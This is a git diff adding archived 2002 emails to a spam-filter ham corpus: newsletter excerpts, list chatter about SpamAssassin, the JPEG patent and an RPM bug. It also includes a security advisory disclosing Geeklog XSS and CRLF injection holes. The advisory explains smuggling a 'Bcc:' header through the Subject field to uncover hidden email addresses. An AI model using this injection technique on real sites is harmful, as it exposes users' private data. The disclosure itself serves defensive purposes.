TYPOS?: + http://www.google.com/search?q=overcocking , "addtition", + "t-shits", "eductation", and (via prudish spellcheckers?): + http://www.google.com/search?q=%22public+lice%22 ... don't buy: + http://www.ebuyer.com/customer/products/index.html?product_uid=26497 + ... bringing a whole new meaning to "colour naming systems": + http://www.ntk.net/2002/07/19/dohhue.gif ... might explain its + bewildered state: http://www.ntk.net/2002/07/19/dohpot.gif ... + http://www.contactnet.ro/solutiixxi/index.php?lim=e vs "On our + children's game-place, they can romp after hug-desire!!": + http://www.tourismus-tirol.com/scharnitz/risserhof/indexe.html + ... self-fulfilling: http://www.ntk.net/2002/07/19/dohdig.gif + ... and when VIM met the PALM platform, the "Related E-Books" + were MOIDER: http://www.ntk.net/2002/07/19/dohvim.gif ... + + + >> EVENT QUEUE << + goto's considered non-harmful + + Yes, we have concerns about encountering Slashdot readers "au + naturel" without any kind of intervening moderation system. + And yet, at the same time, we cannot look away. 7pm local + time, Thu 2002-07-25 marks the world's first SLASHDOT MEETUP + EVENT (check local listings for details, free), attracting - + at time of writing - an impressive 91 interested signups for + the London gathering (19 for Manchester, Leeds 17, Glasgow 11, + Birmingham 9, Liverpool 6, and so on). Usual warnings about + meeting your online "friends" are, we imagine, more than + usually applicable here - especially as no-one can work out + what the organisers are getting out of it. Spamming lists? + Kickbacks from the democratically selected venues? Or valuable + demographic info like the fact that "Elijah Wood" is currently + more popular in hobbit-friendly Glasgow than U2, Tori Amos, or + Duran Duran? + http://slashdot.meetup.com/ + - #goth girls for bearded sysadmins + http://www.defcon.org/ + - plus Defcon in Vegas in two weeks' time + + + >> TRACKING << + sufficiently advanced technology : the gathering + + Once again that silly 5K Web competition thing gets the + headlines. And once again, we must rub its fatty, fatty chin + against the honed shard of flint that is the 2002 1K + MINIGAME 8-BIT CODING COMPETITION until it's shaved meek. + 1024 bytes is all you (must have) wrote: to enter, arrange + them to form a working game on any 8-bit micro you choose. + In response to complaints from last year, "middle class BBC + Micro Fauntleroys" will be permitted, says last year's + judge, Matt Westcott. More weakness is shown by permitting + Atari 2600s, which have 2K cartridges, to enter (you must + fill the last 1K with zeros), and also the TI99/4A which as + everyone knows has sixteen bits. We do hope this doesn't end + in Zork virtual machines or Postscript or something. + http://www.ffd2.com/minigame/ + - "The competition will never be 'fair'" - BETTER! + http://entries.the5k.org/946/wolf5k.html + - oh, the decadence + http://www.igf.com/submit.htm +- $20,000 prize money; probably not accepting Oric Forth games this year + + + >> MEMEPOOL << + ceci n'est pas une http://www.gagpipe.com/ + + "Now That's What I Call Copyright Infringement, Vols 1,2,3": + http://pod-135.dolphin-server.co.uk/~boom/thecd/boom.php ... + http://news.bbc.co.uk/hi/english/uk/2131236.stm - a case for: + http://news.bbc.co.uk/hi/english/uk/newsid_1490000/1490957.stm ? + ... forget offshore accounting - what's to stop them going back + in time with the proceeds and killing all the investors' + grandfathers?: http://www.timetravelfund.com/ ... telnet + econet: http://www.heyrick.co.uk/econet/misc/tcpip.html ... + ... you know, wouldn't a simple 404 attract less attention?: + http://www.ttfn.com/ ... Transformers! Terrorists in disguise! + http://www.tsa.gov/workingwithtsa/aircraft_prohibit.shtm ... + obligatory filk Pie cover: http://home.mchsi.com/~jeffwadler/ + ... they laughed when I sat down at the VT100 terminal: + http://www.prodikeys.com/ ... and kept laughing, thanks to: + http://www.colorpilot.com/sound.html ... + + + >> GEEK MEDIA << + what, *another* http://www.tvgohome.com/ ? + + TV>> now that kids are taking over from teachers in RULE THE + SCHOOL (5pm, Fri, BBC1) and redecorating their homes in HOME + ON THEIR OWN (7pm, Sat, ITV), we can't wait for the concept + gameshows where they fly planes, run pubs and perform + lifesaving surgery... Wired UK's Hari Kunzru reappears on + NEWSNIGHT REVIEW (11pm, Fri, BBC2)... and if you like James + "Copland" Mangold's sensitive character study of an overweight + man HEAVY (1.05am, Fri, BBC2), the IMDB also recommends Eddie + Murphy's "The Nutty Professor"... The Beach Boys' "Pet Sounds" + is the subject of ART THAT SHOOK THE WORLD (7.20pm, Sat, + BBC2), even though it doesn't have "Good Vibrations" on it... + Meg Ryan experiments with setting a romantic comedy during the + Gulf War, and where one of the protagonists is dead, in + COURAGE UNDER FIRE (9.15pm, Sat, BBC1)... but we'd skip that - + along with laboured Tim Burton homage MARS ATTACKS! (10.35pm, + Sat, ITV) - in favour of Ensign Ro and Kevin Spacey - together + at last! - in top-notch low-budget office horror SWIMMING WITH + SHARKS (10.50pm, Sat, C5)... Radha "Pitch Black" Mitchell + shows up in Aussie relo-drama LOVE AND OTHER CATASTROPHES + (1.05am, Sat, BBC2)... Matt "Max Headroom" Frewer fails to + halt the downward slide of the "National Lampoon" franchise in + Washington excursion NATIONAL LAMPOON'S SENIOR TRIP (12.30am, + Sat, ITV), compared to acknowledged classics like NATIONAL + LAMPOON'S VACATION (9pm, Tue, C5)... the final of JUNKYARD + WARS (8pm, Mon, C4) offers a taste of where these shows are + going when the teams must build full-size remote-controlled + "combat cars"... while a "I Preferred The Terrorism Of The + 1980s" special recreates the SAS - EMBASSY SIEGE (9pm, Thu, + BBC2) - if only everything was as simple as pseudo-'70s + supernatural action comedy GOOD VS EVIL (9pm, Wed, Sci-Fi)... + + FILM>> David Cronenberg explains why the "Friday The 13th" + machete murderer is so hard to kill, shortly before he goes up + against two of the chicks from "Gene Roddenberry's Andromeda" + in undemanding self-referential "Alien"-alike JASON X + ( http://www.cndb.com/movie.html?title=Jason+X+%282001%29 : + [Lexa "Andromeda" Doig] [is] flat on her back on a table + recuperating, and the camera shows her boobs; [Lisa "Beka + Valentine"] Ryder plays a robot who wants to be more of a + woman [...] her nipples fall off for a little comic relief)... + while the director of "Candyman" and UK hacker classic "Smart + Money" digital-videos drug-fuelled Hollywood self-excoriation + IVANS XTC ( http://www.cndb.com/movie.html?title=ivans+xtc : + [Lisa Enos], who also wrote the screenplay and whose first + film this is, appears in a few full frontal scenes a little + more than a third of the way through)... otherwise it's star- + packed CGI talking animal interspecies romance STUART LITTLE 2 + (imdb: sequel/ anthropomorphic/ based-on-novel/ bird/ mouse/ + part-computer-animation/ soccer)... or odd-sounding Oirish + period frolic THE ABDUCTION CLUB ( http://www.bbfc.co.uk/ : + Cuts required to sight of 2 men hanging by necks in execution + scene, on grounds of potentially harmful imitable technique, + [in accordance with] category standards and Video Recordings + Act 1984)... + + CONFECTIONERY THEORY>> as tastebuds acclimatise to the + acquired tang of DIET COKE LEMON, reader WAYNE WILLIAMS has + been forced to look further afield for his acidic thrills, + proclaiming the "Citrus" version of ROWNTREE'S FRUITSOME + CEREAL BARS "pretty tasty, a bit like a lemon meringue pie in + a bar". Frankly we preferred the "Tropical" and "Red Berry" + variants, though neither as much as the various ALPEN BARS + with "yoghurt" or "chocolate" style toppings - and all for + just twice the fat of ordinary breakfast cereal! In other + most-important-meal-of-the-day news, those eggy "breakfast + pizza" CHICAGO TOWN SCRAMBLES [NTK 2002-04-12] are delicious + (particularly with tomato ketchup), and have been flying off + the shelves in a 2-pack for 99p deal in selected branches of + Sainsbury's... as predicted in NTK 2001-08-10, KFC have taken + advantage of MCDONALD'S weakness in the KITKAT MCFLURRY arena, + and rolled out their identically-sized rival AVALANCHE (also + 99p) with a freakish selection of toppings including chocolate + sauce, Cadbury's Flake, M&M's and Starburst Joosters. In a + non-ice-cream-related incident, CHARLOTTE LATIMER was the + first to contact us with a sighting of STARBURST "straight- + out-of-the-1993-naming-dept" FLIPSTERS HARD CANDY (from + 30p/pack): "pretty nice hard candies (peach, apple, raspberry + and forest fruits) with a yucky plastic-looking splodge on one + side that purports to offer some kind of creaminess (we + guess)", but still no news yet of the brand's other mutant + offspring: teardrop-shaped FRUITINESSE (from 49p), non-fish- + flavoured gummy SEA MONSTERS (from 99p/bag), and STARBURST + CAKE BARS (UKP1.05 for pack of 5)... and finally, MIKE WALSH + of Finland remained nonplussed with last month's UK sighting + of an imported South African NESTLE SMARTIES IN MILKYBAR + CHOCOLATE, maintaining he bought a White "Ritter Sport" bar + with Smarties in, "in a branch of the (German) Spar chain in + Tenerife in January", and was generally disappointed by its + usability: "Smarties kept falling out", he complains. But + Nestle is innovating over here as well, with the imminent + arrival of WONKA XPLODER and GOLDEN CRUNCHER biscuits (79p/ + pack of 6) - replacing underperforming former NTK "Taste + Abominations" WONKA OOMPA sweets - and its first new chocolate + launch in 5 years, solid-looking would-be Dairy Milk-killer + NESTLE DOUBLE CREAM (40p, available from July 29)... + + + >> SMALL PRINT << + + Need to Know is a useful and interesting UK digest of things that + happened last week or might happen next week. You can read it + on Friday afternoon or print it out then take it home if you have + nothing better to do. It is compiled by NTK from stuff they get sent. + Registered at the Post Office as + '"funny"' + http://www.net-watch.org/1.htm + + + NEED TO KNOW + THEY STOLE OUR REVOLUTION. NOW WE'RE STEALING IT BACK. + Archive - http://www.ntk.net/ + Unsubscribe? Mail ntknow-unsubscribe@lists.ntk.net + Subscribe? Mail ntknow-subscribe@lists.ntk.net + NTK now is supported by UNFORTU.NET, and by you: http://www.geekstyle.co.uk/ + + (K) 2002 Special Projects. + Copying is fine, but include URL: http://www.ntk.net/ + + Tips, news and gossip to tips@spesh.com + All communication is for publication, unless you beg. + Press releases from naive PR people to pr@spesh.com + Remember: Your work email may be monitored if sending sensitive material. + Sending >500KB attachments is forbidden by the Geneva Convention. + Your country may be at risk if you fail to comply. + + + + + diff --git a/bayes/spamham/easy_ham_2/00669.e1bd56f6a261852d752e086ae3f8f93d b/bayes/spamham/easy_ham_2/00669.e1bd56f6a261852d752e086ae3f8f93d new file mode 100644 index 0000000..25505a7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00669.e1bd56f6a261852d752e086ae3f8f93d @@ -0,0 +1,116 @@ +From vulnwatch-return-399-jm=jmason.org@vulnwatch.org Fri Jul 19 16:07:33 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 39F87440C8 + for ; Fri, 19 Jul 2002 11:07:33 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 16:07:33 +0100 (IST) +Received: from vikki.vulnwatch.org (IDENT:qmailr@[199.233.98.101]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g6JF0wJ06633 for + ; Fri, 19 Jul 2002 16:00:58 +0100 +Received: (qmail 20041 invoked by alias); 19 Jul 2002 15:14:22 -0000 +Mailing-List: contact vulnwatch-help@vulnwatch.org; run by ezmlm +Precedence: bulk +List-Post: +List-Help: +List-Unsubscribe: +List-Subscribe: +Delivered-To: mailing list vulnwatch@vulnwatch.org +Delivered-To: moderator for vulnwatch@vulnwatch.org +Received: (qmail 26938 invoked from network); 19 Jul 2002 01:06:49 -0000 +X-Authentication-Warning: Tempo.Update.UU.SE: ulfh owned process doing -bs +Date: Fri, 19 Jul 2002 02:23:52 +0200 (CEST) +From: Ulf Harnhammar +To: bugtraq@securityfocus.com +Cc: vulnwatch@vulnwatch.org, full-disclosure@lists.netsys.com +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=iso-8859-1 +Subject: [VulnWatch] Geeklog XSS and CRLF Injection +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by dogma.slashnull.org + id g6JF0wJ06633 + +Geeklog XSS and CRLF Injection + + +PROGRAM: Geeklog +VENDOR: Tony Bibbs et al. +HOMEPAGE: http://geeklog.sourceforge.net/ +VULNERABLE VERSIONS: 1.3.5sr1, possibly earlier versions as well +NOT VULNERABLE VERSIONS: 1.3.5sr2 +LOGIN REQUIRED: no +SEVERITY: high + + +DESCRIPTION: + +"Geeklog is a 'blog', otherwise known as a Weblog. It allows +you to create your own virtual community area, complete with user +administration, story posting, messaging, comments, polls, calendar, +weblinks, and more! It can run on many different operating systems, +and uses PHP4 and MySQL." + +(direct quote from the program's homepage) + +Geeklog is published under the terms of the GNU General Public +License. + + +SECURITY HOLES: + +1) Geeklog has got an XSS hole that affects both the stories and +the comments. The program removes the HTML elements that are used +for scripting, but it fails to remove the HTML attributes that are +used for the same purpose, which leads to this hole. + +One example of an XSS attack would be: + +life +has made her that much bolder now + +When a victim moves the mouse pointer over the quote from "Lady +Godiva's Operation", an intrinsic event occurs and the JavaScript +code is executed. + +(There is also an XSS issue in the search engine. It was reported +by §ome1, and not by me.) + +2) Geeklog has got a CRLF Injection hole in User Profile: Send +Email. The users' mail addresses are meant to be secret, but by +using this hole, you can get someone's mail address anyway. + +The problem is that you can add extra mail headers, by using a +CRLF combination followed by an extra mail header in the Subject +field. One way to add them is saving the HTML document with the +form, and changing the tag to a +textarea. After opening the edited document in a web browser, you +enter a Subject line in the textarea, press Enter, and then you +enter your extra mail header. When the mail is sent, that header +will be included. If the header in question is "Bcc: ", the message will silently be copied to you, thus +revealing the recipient's mail address without them knowing. + +I have described this type of problem in further detail +in my "CRLF Injection" paper, which is available at +http://cert.uni-stuttgart.de/archive/bugtraq/2002/05/msg00079.html + + +COMMUNICATION WITH VENDOR: + +The vendor was contacted on the 1st of July. Version 1.3.5sr2, +which does not have any of these security holes (neither mine nor +§ome1's), was released on the 9th of July. + + +RECOMMENDATION: + +I recommend that all administrators upgrade to version 1.3.5sr2. + + +// Ulf Harnhammar +ulfh@update.uu.se + + diff --git a/bayes/spamham/easy_ham_2/00670.cf4700dea8b59597f608d0e7062e605a b/bayes/spamham/easy_ham_2/00670.cf4700dea8b59597f608d0e7062e605a new file mode 100644 index 0000000..94e57f7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00670.cf4700dea8b59597f608d0e7062e605a @@ -0,0 +1,77 @@ +From spamassassin-talk-admin@lists.sourceforge.net Fri Jul 19 16:42:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C4FE4440C8 + for ; Fri, 19 Jul 2002 11:42:11 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 16:42:11 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6JFbAJ09807 for ; Fri, 19 Jul 2002 16:37:10 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17VZmb-0004j9-00; Fri, + 19 Jul 2002 08:35:05 -0700 +Received: from [213.105.180.140] (helo=mandark.labs.netnoteinc.com) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17VZln-00062I-00 for ; + Fri, 19 Jul 2002 08:34:15 -0700 +Received: from phobos.labs.netnoteinc.com (phobos.labs.netnoteinc.com + [192.168.2.14]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP + id g6JFY4p01691; Fri, 19 Jul 2002 16:34:04 +0100 +Received: by phobos.labs.netnoteinc.com (Postfix, from userid 500) id + 56071440C8; Fri, 19 Jul 2002 11:33:30 -0400 (EDT) +Received: from phobos (localhost [127.0.0.1]) by + phobos.labs.netnoteinc.com (Postfix) with ESMTP id 51401341DA; + Fri, 19 Jul 2002 16:33:30 +0100 (IST) +To: "Christopher Crowley" +Cc: gagel@cnc.bc.ca, spamassassin-talk@example.sourceforge.net +Subject: Re: [SAtalk] Removing SPAM: from SA notice +In-Reply-To: Message from + "Christopher Crowley" + of + "Fri, 19 Jul 2002 10:16:06 CDT." + <3e3101c22f37$3a652890$19775181@netview> +From: yyyy@spamassassin.taint.org (Justin Mason) +X-GPG-Key-Fingerprint: 0A48 2D8B 0B52 A87D 0E8A 6ADD 4137 1B50 6E58 EF0A +Message-Id: <20020719153330.56071440C8@phobos.labs.netnoteinc.com> +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 19 Jul 2002 16:33:25 +0100 +Date: Fri, 19 Jul 2002 16:33:25 +0100 + + +"Christopher Crowley" said: + +> That says that every line is prefixed with "SPAM: ". Could you +> explain how to configure that in 10_misc.cf or in local.cf ? + +The problem with the "SPAM: " prefix, is that it's required for +spamassassin -d (removing SpamAssassin markup) to work correctly. + +--j. + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/00671.3476f7a6caccb8f155cb4eda72a1a6f2 b/bayes/spamham/easy_ham_2/00671.3476f7a6caccb8f155cb4eda72a1a6f2 new file mode 100644 index 0000000..9cb8038 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00671.3476f7a6caccb8f155cb4eda72a1a6f2 @@ -0,0 +1,60 @@ +From fork-admin@xent.com Fri Jul 19 16:58:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 95EAD440C8 + for ; Fri, 19 Jul 2002 11:58:24 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 16:58:24 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6JFuKJ11601 for ; + Fri, 19 Jul 2002 16:56:21 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id AB4422940B3; Fri, 19 Jul 2002 08:45:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from jasper.he.net (jasper.he.net [216.218.145.2]) by xent.com + (Postfix) with ESMTP id 40678294098 for ; Fri, + 19 Jul 2002 08:45:06 -0700 (PDT) +Received: from to0202a-dhcp108.apple.com + (sdsl-64-139-4-22.dsl.sca.megapath.net [64.139.4.22]) by jasper.he.net + (8.8.6/8.8.2) with ESMTP id IAA05426; Fri, 19 Jul 2002 08:54:01 -0700 +Date: Fri, 19 Jul 2002 08:54:02 -0700 +Subject: Re: When a Crop Becomes King +Content-Type: text/plain; charset=US-ASCII; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +Cc: Flatware or Road Kill? +To: Rodent of Unusual Size +From: Bill Humphries +In-Reply-To: <3D382947.947559DF@Golux.Com> +Message-Id: +Content-Transfer-Encoding: 7bit +X-Mailer: Apple Mail (2.482) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org + +On Friday, July 19, 2002, at 07:59 AM, Rodent of Unusual Size wrote: + +> These days the +> nation's nearly 80 million-acre field of corn rolls across the +> countryside like a second great lawn, but this wholesome, all-American +> image obscures a decidedly more dubious reality. + +And if you mention any of the health problems too loudly, the kids with +glowing eyes take you away into the fields... + +http://www.angelfire.com/tn/cotcfanpage/ + +---- +Bill Humphries +http://www.whump.com/moreLikeThis/ + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00672.96646a3185ee6d8828c0ca3d1e91ce0a b/bayes/spamham/easy_ham_2/00672.96646a3185ee6d8828c0ca3d1e91ce0a new file mode 100644 index 0000000..757f69b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00672.96646a3185ee6d8828c0ca3d1e91ce0a @@ -0,0 +1,66 @@ +From fork-admin@xent.com Fri Jul 19 17:26:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8014A440C8 + for ; Fri, 19 Jul 2002 12:26:15 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 17:26:15 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6JGP9J14136 for ; + Fri, 19 Jul 2002 17:25:10 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id AD4132940E9; Fri, 19 Jul 2002 09:13:11 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from argote.ch (argote.ch [80.65.224.17]) by xent.com (Postfix) + with ESMTP id C43CB294098 for ; Fri, 19 Jul 2002 09:13:08 + -0700 (PDT) +Received: by argote.ch (Postfix, from userid 500) id 4DFA2C44E; + Fri, 19 Jul 2002 18:11:36 +0200 (CEST) +To: fork@spamassassin.taint.org +Subject: JPEGs patented +Message-Id: <20020719161136.4DFA2C44E@argote.ch> +Date: Fri, 19 Jul 2002 18:11:36 +0200 (CEST) +From: harley@argote.ch (Robert Harley) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org + +------------------------------------------------------------------------------ +A video conferencing company based in Austin, Texas says it's going to +pursue royalties on the transmission of JPEG images. + +And it's already found a licensee: Sony Corporation. + +Formerly known as VTEL, Forgent Networks acquired Compression Labs in +1997, acquiring this patent into the bargain. The patent claim was +filed in 1986 but Compression Labs never pursued royalties. + +[...] +------------------------------------------------------------------------------ + +Rest at: + http://www.theregister.co.uk/content/4/26272.html + +The patent is at: + http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&Sect2=HITOFF&d=PALL&p=1&u=/netahtml/srchnum.htm&r=1&f=G&l=50&s1='4,698,672'.WKU.&OS=PN/4,698,672&RS=PN/4,698,672 + + +Groan, + Rob. + .-. .-. + / \ .-. .-. / \ + / \ / \ .-. _ .-. / \ / \ + / \ / \ / \ / \ / \ / \ / \ + / \ / \ / `-' `-' \ / \ / \ + \ / `-' `-' \ / + `-' `-' + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00673.aea009bf14e6a5ca613e7ae735506890 b/bayes/spamham/easy_ham_2/00673.aea009bf14e6a5ca613e7ae735506890 new file mode 100644 index 0000000..c8bb1ec --- /dev/null +++ b/bayes/spamham/easy_ham_2/00673.aea009bf14e6a5ca613e7ae735506890 @@ -0,0 +1,48 @@ +From fork-admin@xent.com Fri Jul 19 17:31:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 282F8440C8 + for ; Fri, 19 Jul 2002 12:31:49 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 17:31:49 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6JGVpJ14589 for ; + Fri, 19 Jul 2002 17:31:52 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 3DC2E2940EE; Fri, 19 Jul 2002 09:22:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id 2D7A5294098 for ; Fri, + 19 Jul 2002 09:22:06 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id DE0C53ED74; + Fri, 19 Jul 2002 12:32:23 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id DC7963ED5E; Fri, 19 Jul 2002 12:32:23 -0400 (EDT) +Date: Fri, 19 Jul 2002 12:32:23 -0400 (EDT) +From: Tom +To: Robert Harley +Cc: fork@spamassassin.taint.org +Subject: Re: JPEGs patented +In-Reply-To: <20020719161136.4DFA2C44E@argote.ch> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org + + +So are PNGs still kosh? + + + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00674.bce8a0d5cf2fcc9888c9c2f88725df78 b/bayes/spamham/easy_ham_2/00674.bce8a0d5cf2fcc9888c9c2f88725df78 new file mode 100644 index 0000000..8ff6717 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00674.bce8a0d5cf2fcc9888c9c2f88725df78 @@ -0,0 +1,81 @@ +From rpm-list-admin@freshrpms.net Fri Jul 19 17:48:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D5E7D440C8 + for ; Fri, 19 Jul 2002 12:48:28 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 17:48:28 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JGhoJ15636 for + ; Fri, 19 Jul 2002 17:43:51 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6JGW2C20990; Fri, 19 Jul 2002 18:32:02 + +0200 +Received: from bennew01.localdomain (pD9508A3D.dip.t-dialin.net + [217.80.138.61]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g6JGUfC18631 for ; Fri, 19 Jul 2002 18:30:41 +0200 +Received: from bennew01.localdomain (bennew01.localdomain [192.168.3.1]) + by bennew01.localdomain (8.11.6/linuxconf) with SMTP id g6JGUGc22233 for + ; Fri, 19 Jul 2002 18:30:17 +0200 +From: Matthias Haase +To: rpm-zzzlist@freshrpms.net +Subject: Re: gentoo 0.11.28 is out.. +Message-Id: <20020719183016.3297b423.matthias_haase@bennewitz.com> +In-Reply-To: <20020718130029.523aa992.matthias@egwn.net> +References: <7uit3eljnp.fsf@allele2.biol.berkeley.edu> + <20020718102254.0664d716.matthias@egwn.net> + <20020718122654.1604541d.matthias_haase@bennewitz.com> + <20020718130029.523aa992.matthias@egwn.net> +X-Operating-System: customized linux smp kernel 2.4* on i686 +X-Mailer: Sylpheed +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 19 Jul 2002 18:30:16 +0200 +Date: Fri, 19 Jul 2002 18:30:16 +0200 + +On Thu, 18 Jul 2002 13:00:29 +0200 +Matthias Saou wrote: + +> Once upon a time, Matthias wrote : +> > ..see subject. +> ..see valhalla.freshrpms.net ;-) + +Hi, Matthias, + +You should temporarly remove gentoo 0.11.29 from valhalla.freshrpms.net. +This build (and 0.11.28) has a strong bug: Problems with copying "deep" +directories. + +Have reported this to Emil, he looks currently into it, a fix should be +available soon.. + +Sorry + +-- +regards from Germany + Matthias + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/00675.b8a6844708d4c10a47688c8344048eb2 b/bayes/spamham/easy_ham_2/00675.b8a6844708d4c10a47688c8344048eb2 new file mode 100644 index 0000000..2eb8cda --- /dev/null +++ b/bayes/spamham/easy_ham_2/00675.b8a6844708d4c10a47688c8344048eb2 @@ -0,0 +1,38 @@ +From iiu-admin@taint.org Fri Jul 19 17:53:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AA021440C8 + for ; Fri, 19 Jul 2002 12:53:54 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 17:53:54 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JGr1J16267 for + ; Fri, 19 Jul 2002 17:53:02 +0100 +Date: Fri, 19 Jul 2002 17:53:01 +0100 +Message-Id: <20020719165301.16253.32906.Mailman@dogma.slashnull.org> +Subject: Irish Internet Users subscription notification +From: mailman-owner@lists.boxhost.net +To: yyyy@spamassassin.taint.org, alex@evilal.com, thomas@wibble.to +X-Ack: no +Sender: iiu-admin@taint.org +Errors-To: iiu-admin@taint.org +X-Beenthere: iiu@iiu.taint.org 